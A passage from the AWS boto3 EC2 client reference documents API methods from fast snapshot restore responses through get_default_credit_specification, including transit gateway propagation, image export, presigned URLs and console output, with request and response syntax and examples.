_(string) --_ + + The AWS owner alias that enabled fast snapshot restores on the snapshot. This is intended for future use. + + * **EnablingTime** _(datetime) --_ + + The time at which fast snapshot restores entered the enabling state. + + * **OptimizingTime** _(datetime) --_ + + The time at which fast snapshot restores entered the optimizing state. + + * **EnabledTime** _(datetime) --_ + + The time at which fast snapshot restores entered the enabled state. + + * **DisablingTime** _(datetime) --_ + + The time at which fast snapshot restores entered the disabling state. + + * **DisabledTime** _(datetime) --_ + + The time at which fast snapshot restores entered the disabled state. + + * **Unsuccessful** _(list) --_ + + Information about the snapshots for which fast snapshot restores could not be enabled. + + * _(dict) --_ + + Contains information about the errors that occurred when enabling fast snapshot restores. + + * **SnapshotId** _(string) --_ + + The ID of the snapshot. + + * **FastSnapshotRestoreStateErrors** _(list) --_ + + The errors. + + * _(dict) --_ + + Contains information about an error that occurred when enabling fast snapshot restores. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone. + + * **Error** _(dict) --_ + + The error. + + * **Code** _(string) --_ + + The error code. + + * **Message** _(string) --_ + + The error message. + + +enable_transit_gateway_route_table_propagation(kwargs_)definition") + +Enables the specified attachment to propagate routes to the specified propagation route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/EnableTransitGatewayRouteTablePropagation) + +**Request Syntax** + +response = client.enable_transit_gateway_route_table_propagation( + TransitGatewayRouteTableId='string', + TransitGatewayAttachmentId='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayRouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the propagation route table. + +* **TransitGatewayAttachmentId** (_string_) -- + + **[REQUIRED]** + + The ID of the attachment. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Propagation': { + 'TransitGatewayAttachmentId': 'string', + 'ResourceId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering', + 'TransitGatewayRouteTableId': 'string', + 'State': 'enabling'|'enabled'|'disabling'|'disabled' + } +} + +**Response Structure** + +* _(dict) --_ + + * **Propagation** _(dict) --_ + + Information about route propagation. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + * **ResourceType** _(string) --_ + + The resource type. Note that the tgw-peering resource type has been deprecated. + + * **TransitGatewayRouteTableId** _(string) --_ + + The ID of the transit gateway route table. + + * **State** _(string) --_ + + The state. + + +enable_vgw_route_propagation(kwargs_) + +Enables a virtual private gateway (VGW) to propagate routes to the specified route table of a VPC. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/EnableVgwRoutePropagation) + +**Request Syntax** + +response = client.enable_vgw_route_propagation( + GatewayId='string', + RouteTableId='string', + DryRun=True|False +) + +Parameters + +* **GatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the virtual private gateway that is attached to a VPC. The virtual private gateway must be attached to the same VPC that the routing tables are associated with. + +* **RouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the route table. The routing table must be associated with the same VPC that the virtual private gateway is attached to. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +**Examples** + +This example enables the specified virtual private gateway to propagate static routes to the specified route table. + +response = client.enable_vgw_route_propagation( + GatewayId='vgw-9a4cacf3', + RouteTableId='rtb-22574640', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +enable_volume_io(kwargs_) + +Enables I/O operations for a volume that had I/O operations disabled because the data on the volume was potentially inconsistent. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/EnableVolumeIO) + +**Request Syntax** + +response = client.enable_volume_io( + DryRun=True|False, + VolumeId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VolumeId** (_string_) -- + + **[REQUIRED]** + + The ID of the volume. + + +Returns + +None + +**Examples** + +This example enables I/O on volume vol-1234567890abcdef0. + +response = client.enable_volume_io( + VolumeId='vol-1234567890abcdef0', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +enable_vpc_classic_link(kwargs_) + +Enables a VPC for ClassicLink. You can then link EC2-Classic instances to your ClassicLink-enabled VPC to allow communication over private IP addresses. You cannot enable your VPC for ClassicLink if any of your VPC route tables have existing routes for address ranges within the 10.0.0.0/8 IP address range, excluding local routes for VPCs in the 10.0.0.0/16 and 10.1.0.0/16 IP address ranges. For more information, see [ClassicLink](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/vpc-classiclink.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/EnableVpcClassicLink) + +**Request Syntax** + +response = client.enable_vpc_classic_link( + DryRun=True|False, + VpcId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +enable_vpc_classic_link_dns_support(kwargs_) + +Enables a VPC to support DNS hostname resolution for ClassicLink. If enabled, the DNS hostname of a linked EC2-Classic instance resolves to its private IP address when addressed from an instance in the VPC to which it's linked. Similarly, the DNS hostname of an instance in a VPC resolves to its private IP address when addressed from a linked EC2-Classic instance. For more information, see [ClassicLink](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/vpc-classiclink.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +You must specify a VPC ID in the request. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/EnableVpcClassicLinkDnsSupport) + +**Request Syntax** + +response = client.enable_vpc_classic_link_dns_support( + VpcId='string' +) + +Parameters + +**VpcId** (_string_) -- The ID of the VPC. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +export_client_vpn_client_certificate_revocation_list(kwargs_)this definition") + +Downloads the client certificate revocation list for the specified Client VPN endpoint. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ExportClientVpnClientCertificateRevocationList) + +**Request Syntax** + +response = client.export_client_vpn_client_certificate_revocation_list( + ClientVpnEndpointId='string', + DryRun=True|False +) + +Parameters + +* **ClientVpnEndpointId** (_string_) -- + + **[REQUIRED]** + + The ID of the Client VPN endpoint. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'CertificateRevocationList': 'string', + 'Status': { + 'Code': 'pending'|'active', + 'Message': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **CertificateRevocationList** _(string) --_ + + Information about the client certificate revocation list. + + * **Status** _(dict) --_ + + The current state of the client certificate revocation list. + + * **Code** _(string) --_ + + The state of the client certificate revocation list. + + * **Message** _(string) --_ + + A message about the status of the client certificate revocation list, if applicable. + + +export_client_vpn_client_configuration(kwargs_) + +Downloads the contents of the Client VPN endpoint configuration file for the specified Client VPN endpoint. The Client VPN endpoint configuration file includes the Client VPN endpoint and certificate information clients need to establish a connection with the Client VPN endpoint. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ExportClientVpnClientConfiguration) + +**Request Syntax** + +response = client.export_client_vpn_client_configuration( + ClientVpnEndpointId='string', + DryRun=True|False +) + +Parameters + +* **ClientVpnEndpointId** (_string_) -- + + **[REQUIRED]** + + The ID of the Client VPN endpoint. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ClientConfiguration': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **ClientConfiguration** _(string) --_ + + The contents of the Client VPN endpoint configuration file. + + +export_image(kwargs_) + +Exports an Amazon Machine Image (AMI) to a VM file. For more information, see [Exporting a VM Directory from an Amazon Machine Image (AMI)](https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport_image.html) in the _VM Import/Export User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ExportImage) + +**Request Syntax** + +response = client.export_image( + ClientToken='string', + Description='string', + DiskImageFormat='VMDK'|'RAW'|'VHD', + DryRun=True|False, + ImageId='string', + S3ExportLocation={ + 'S3Bucket': 'string', + 'S3Prefix': 'string' + }, + RoleName='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **ClientToken** (_string_) -- + + Token to enable idempotency for export image requests. + + This field is autopopulated if not provided. + +* **Description** (_string_) -- A description of the image being exported. The maximum length is 255 characters. +* **DiskImageFormat** (_string_) -- + + **[REQUIRED]** + + The disk image format. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ImageId** (_string_) -- + + **[REQUIRED]** + + The ID of the image. + +* **S3ExportLocation** (_dict_) -- + + **[REQUIRED]** + + Information about the destination Amazon S3 bucket. The bucket must exist and grant WRITE and READ_ACP permissions to the AWS account [vm-import-export@amazon.com](mailto:vm-import-export%40amazon.com). + + * **S3Bucket** _(string) --_ **[REQUIRED]** + + The destination Amazon S3 bucket. + + * **S3Prefix** _(string) --_ + + The prefix (logical hierarchy) in the bucket. + +* **RoleName** (_string_) -- The name of the role that grants VM Import/Export permission to export images to your Amazon S3 bucket. If this parameter is not specified, the default role is named 'vmimport'. +* **TagSpecifications** (_list_) -- + + The tags to apply to the image being exported. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id498)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id500)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Description': 'string', + 'DiskImageFormat': 'VMDK'|'RAW'|'VHD', + 'ExportImageTaskId': 'string', + 'ImageId': 'string', + 'RoleName': 'string', + 'Progress': 'string', + 'S3ExportLocation': { + 'S3Bucket': 'string', + 'S3Prefix': 'string' + }, + 'Status': 'string', + 'StatusMessage': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Description** _(string) --_ + + A description of the image being exported. + + * **DiskImageFormat** _(string) --_ + + The disk image format for the exported image. + + * **ExportImageTaskId** _(string) --_ + + The ID of the export image task. + + * **ImageId** _(string) --_ + + The ID of the image. + + * **RoleName** _(string) --_ + + The name of the role that grants VM Import/Export permission to export images to your Amazon S3 bucket. + + * **Progress** _(string) --_ + + The percent complete of the export image task. + + * **S3ExportLocation** _(dict) --_ + + Information about the destination Amazon S3 bucket. + + * **S3Bucket** _(string) --_ + + The destination Amazon S3 bucket. + + * **S3Prefix** _(string) --_ + + The prefix (logical hierarchy) in the bucket. + + * **Status** _(string) --_ + + The status of the export image task. The possible values are active , completed , deleting , and deleted . + + * **StatusMessage** _(string) --_ + + The status message for the export image task. + + * **Tags** _(list) --_ + + Any tags assigned to the image being exported. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +export_transit_gateway_routes(kwargs_) + +Exports routes from the specified transit gateway route table to the specified S3 bucket. By default, all routes are exported. Alternatively, you can filter by CIDR range. + +The routes are saved to the specified bucket in a JSON file. For more information, see [Export Route Tables to Amazon S3](https://docs.aws.amazon.com/vpc/latest/tgw/tgw-route-tables.html#tgw-export-route-tables) in _Transit Gateways_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ExportTransitGatewayRoutes) + +**Request Syntax** + +response = client.export_transit_gateway_routes( + TransitGatewayRouteTableId='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + S3Bucket='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayRouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the route table. + +* **Filters** (_list_) -- + + One or more filters. The possible values are: + + * attachment.transit-gateway-attachment-id - The id of the transit gateway attachment. + * attachment.resource-id - The resource id of the transit gateway attachment. + * route-search.exact-match - The exact match of the specified filter. + * route-search.longest-prefix-match - The longest prefix that matches the route. + * route-search.subnet-of-match - The routes with a subnet that match the specified CIDR filter. + * route-search.supernet-of-match - The routes with a CIDR that encompass the CIDR filter. For example, if you have 10.0.1.0/29 and 10.0.1.0/31 routes in your route table and you specify supernet-of-match as 10.0.1.0/30, then the result returns 10.0.1.0/29. + * state - The state of the route (active | blackhole ). + * transit-gateway-route-destination-cidr-block - The CIDR range. + * type - The type of route (propagated | static ). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **S3Bucket** (_string_) -- + + **[REQUIRED]** + + The name of the S3 bucket. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'S3Location': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **S3Location** _(string) --_ + + The URL of the exported file in Amazon S3. For example, s3://_bucket_name_ /VPCTransitGateway/TransitGatewayRouteTables/_file_name_ . + + +generate_presigned_url(_ClientMethod_, _Params=None_, _ExpiresIn=3600_, _HttpMethod=None_)definition") + +Generate a presigned url given a client, its method, and arguments + +Parameters + +* **ClientMethod** (_string_) -- The client method to presign for +* **Params** (_dict_) -- The parameters normally passed to ClientMethod. +* **ExpiresIn** (_int_) -- The number of seconds the presigned url is valid for. By default it expires in an hour (3600 seconds) +* **HttpMethod** (_string_) -- The http method to use on the generated url. By default, the http method is whatever is used in the method's model. + +Returns + +The presigned url + +get_associated_enclave_certificate_iam_roles(kwargs_) + +Returns the IAM roles that are associated with the specified AWS Certificate Manager (ACM) certificate. It also returns the name of the Amazon S3 bucket and the Amazon S3 object key where the certificate, certificate chain, and encrypted private key bundle are stored, and the ARN of the AWS Key Management Service (KMS) customer master key (CMK) that's used to encrypt the private key. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetAssociatedEnclaveCertificateIamRoles) + +**Request Syntax** + +response = client.get_associated_enclave_certificate_iam_roles( + CertificateArn='string', + DryRun=True|False +) + +Parameters + +* **CertificateArn** (_string_) -- The ARN of the ACM certificate for which to view the associated IAM roles, encryption keys, and Amazon S3 object information. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AssociatedRoles': [ + { + 'AssociatedRoleArn': 'string', + 'CertificateS3BucketName': 'string', + 'CertificateS3ObjectKey': 'string', + 'EncryptionKmsKeyId': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **AssociatedRoles** _(list) --_ + + Information about the associated IAM roles. + + * _(dict) --_ + + Information about the associated IAM roles. + + * **AssociatedRoleArn** _(string) --_ + + The ARN of the associated IAM role. + + * **CertificateS3BucketName** _(string) --_ + + The name of the Amazon S3 bucket in which the Amazon S3 object is stored. + + * **CertificateS3ObjectKey** _(string) --_ + + The key of the Amazon S3 object ey where the certificate, certificate chain, and encrypted private key bundle is stored. The object key is formatted as follows: certificate_arn /role_arn . + + * **EncryptionKmsKeyId** _(string) --_ + + The ID of the KMS customer master key (CMK) used to encrypt the private key. + + +get_associated_ipv6_pool_cidrs(kwargs_) + +Gets information about the IPv6 CIDR block associations for a specified IPv6 address pool. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetAssociatedIpv6PoolCidrs) + +**Request Syntax** + +response = client.get_associated_ipv6_pool_cidrs( + PoolId='string', + NextToken='string', + MaxResults=123, + DryRun=True|False +) + +Parameters + +* **PoolId** (_string_) -- + + **[REQUIRED]** + + The ID of the IPv6 address pool. + +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Ipv6CidrAssociations': [ + { + 'Ipv6Cidr': 'string', + 'AssociatedResource': 'string' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **Ipv6CidrAssociations** _(list) --_ + + Information about the IPv6 CIDR block associations. + + * _(dict) --_ + + Describes an IPv6 CIDR block association. + + * **Ipv6Cidr** _(string) --_ + + The IPv6 CIDR block. + + * **AssociatedResource** _(string) --_ + + The resource that's associated with the IPv6 CIDR block. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +get_capacity_reservation_usage(kwargs_) + +Gets usage information about a Capacity Reservation. If the Capacity Reservation is shared, it shows usage information for the Capacity Reservation owner and each AWS account that is currently using the shared capacity. If the Capacity Reservation is not shared, it shows only the Capacity Reservation owner's usage. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetCapacityReservationUsage) + +**Request Syntax** + +response = client.get_capacity_reservation_usage( + CapacityReservationId='string', + NextToken='string', + MaxResults=123, + DryRun=True|False +) + +Parameters + +* **CapacityReservationId** (_string_) -- + + **[REQUIRED]** + + The ID of the Capacity Reservation. + +* **NextToken** (_string_) -- The token to use to retrieve the next page of results. +* **MaxResults** (_integer_) -- + + The maximum number of results to return for the request in a single page. The remaining results can be seen by sending another request with the returned nextToken value. This value can be between 5 and 500. If maxResults is given a larger value than 500, you receive an error. + + Valid range: Minimum value of 1. Maximum value of 1000. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NextToken': 'string', + 'CapacityReservationId': 'string', + 'InstanceType': 'string', + 'TotalInstanceCount': 123, + 'AvailableInstanceCount': 123, + 'State': 'active'|'expired'|'cancelled'|'pending'|'failed', + 'InstanceUsages': [ + { + 'AccountId': 'string', + 'UsedInstanceCount': 123 + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + * **CapacityReservationId** _(string) --_ + + The ID of the Capacity Reservation. + + * **InstanceType** _(string) --_ + + The type of instance for which the Capacity Reservation reserves capacity. + + * **TotalInstanceCount** _(integer) --_ + + The number of instances for which the Capacity Reservation reserves capacity. + + * **AvailableInstanceCount** _(integer) --_ + + The remaining capacity. Indicates the number of instances that can be launched in the Capacity Reservation. + + * **State** _(string) --_ + + The current state of the Capacity Reservation. A Capacity Reservation can be in one of the following states: + + * active - The Capacity Reservation is active and the capacity is available for your use. + * expired - The Capacity Reservation expired automatically at the date and time specified in your request. The reserved capacity is no longer available for your use. + * cancelled - The Capacity Reservation was manually cancelled. The reserved capacity is no longer available for your use. + * pending - The Capacity Reservation request was successful but the capacity provisioning is still pending. + * failed - The Capacity Reservation request has failed. A request might fail due to invalid request parameters, capacity constraints, or instance limit constraints. Failed requests are retained for 60 minutes. + * **InstanceUsages** _(list) --_ + + Information about the Capacity Reservation usage. + + * _(dict) --_ + + Information about the Capacity Reservation usage. + + * **AccountId** _(string) --_ + + The ID of the AWS account that is making use of the Capacity Reservation. + + * **UsedInstanceCount** _(integer) --_ + + The number of instances the AWS account currently has in the Capacity Reservation. + + +get_coip_pool_usage(kwargs_) + +Describes the allocations from the specified customer-owned address pool. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetCoipPoolUsage) + +**Request Syntax** + +response = client.get_coip_pool_usage( + PoolId='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **PoolId** (_string_) -- + + **[REQUIRED]** + + The ID of the address pool. + +* **Filters** (_list_) -- + + The filters. The following are the possible values: + + * coip-address-usage.allocation-id + * coip-address-usage.aws-account-id + * coip-address-usage.aws-service + * coip-address-usage.co-ip + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'CoipPoolId': 'string', + 'CoipAddressUsages': [ + { + 'AllocationId': 'string', + 'AwsAccountId': 'string', + 'AwsService': 'string', + 'CoIp': 'string' + }, + ], + 'LocalGatewayRouteTableId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **CoipPoolId** _(string) --_ + + The ID of the customer-owned address pool. + + * **CoipAddressUsages** _(list) --_ + + Information about the address usage. + + * _(dict) --_ + + Describes address usage for a customer-owned address pool. + + * **AllocationId** _(string) --_ + + The allocation ID of the address. + + * **AwsAccountId** _(string) --_ + + The AWS account ID. + + * **AwsService** _(string) --_ + + The AWS service. + + * **CoIp** _(string) --_ + + The customer-owned IP address. + + * **LocalGatewayRouteTableId** _(string) --_ + + The ID of the local gateway route table. + + +get_console_output(kwargs_) + +Gets the console output for the specified instance. For Linux instances, the instance console output displays the exact console output that would normally be displayed on a physical monitor attached to a computer. For Windows instances, the instance console output includes the last three system event log errors. + +By default, the console output returns buffered information that was posted shortly after an instance transition state (start, stop, reboot, or terminate). This information is available for at least one hour after the most recent post. Only the most recent 64 KB of console output is available. + +You can optionally retrieve the latest serial console output at any time during the instance lifecycle. This option is supported on instance types that use the Nitro hypervisor. + +For more information, see [Instance Console Output](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html#instance-console-console-output) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetConsoleOutput) + +**Request Syntax** + +response = client.get_console_output( + InstanceId='string', + DryRun=True|False, + Latest=True|False +) + +Parameters + +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Latest** (_boolean_) -- + + When enabled, retrieves the latest console output for the instance. + + Default: disabled (false ) + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceId': 'string', + 'Output': 'string', + 'Timestamp': datetime(2015, 1, 1) +} + +**Response Structure** + +* _(dict) --_ + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Output** _(string) --_ + + The console output, base64-encoded. If you are using a command line tool, the tool decodes the output for you. + + * **Timestamp** _(datetime) --_ + + The time at which the output was last updated. + + +**Examples** + +This example gets the console output for the specified instance. + +response = client.get_console_output( + InstanceId='i-1234567890abcdef0', +) + +print(response) + +Expected Output: + +{ + 'InstanceId': 'i-1234567890abcdef0', + 'Output': '...', + 'Timestamp': datetime(2018, 5, 25, 21, 23, 53, 4, 145, 0), + 'ResponseMetadata': { + '...': '...', + }, +} + +get_console_screenshot(kwargs_) + +Retrieve a JPG-format screenshot of a running instance to help with troubleshooting. + +The returned content is Base64-encoded. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetConsoleScreenshot) + +**Request Syntax** + +response = client.get_console_screenshot( + DryRun=True|False, + InstanceId='string', + WakeUp=True|False +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance. + +* **WakeUp** (_boolean_) -- When set to true , acts as keystroke input and wakes up an instance that's in standby or "sleep" mode. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ImageData': 'string', + 'InstanceId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **ImageData** _(string) --_ + + The data that comprises the image. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + +get_default_credit_specification(kwargs_) + +Describes the default credit option for CPU usage of a burstable performance instance family. + +For more information, see [Burstable performance instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/burstable-performance-instances.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetDefaultCreditSpecification) + +**Request Syntax** + +response = client.get_default_credit_specification( + DryRun=True|False, + InstanceFamily='t2'|'t3'|'t3a'|'t4g' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InstanceFamily** (_string_) -- + + **[REQUIRED]** + + The instance family. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 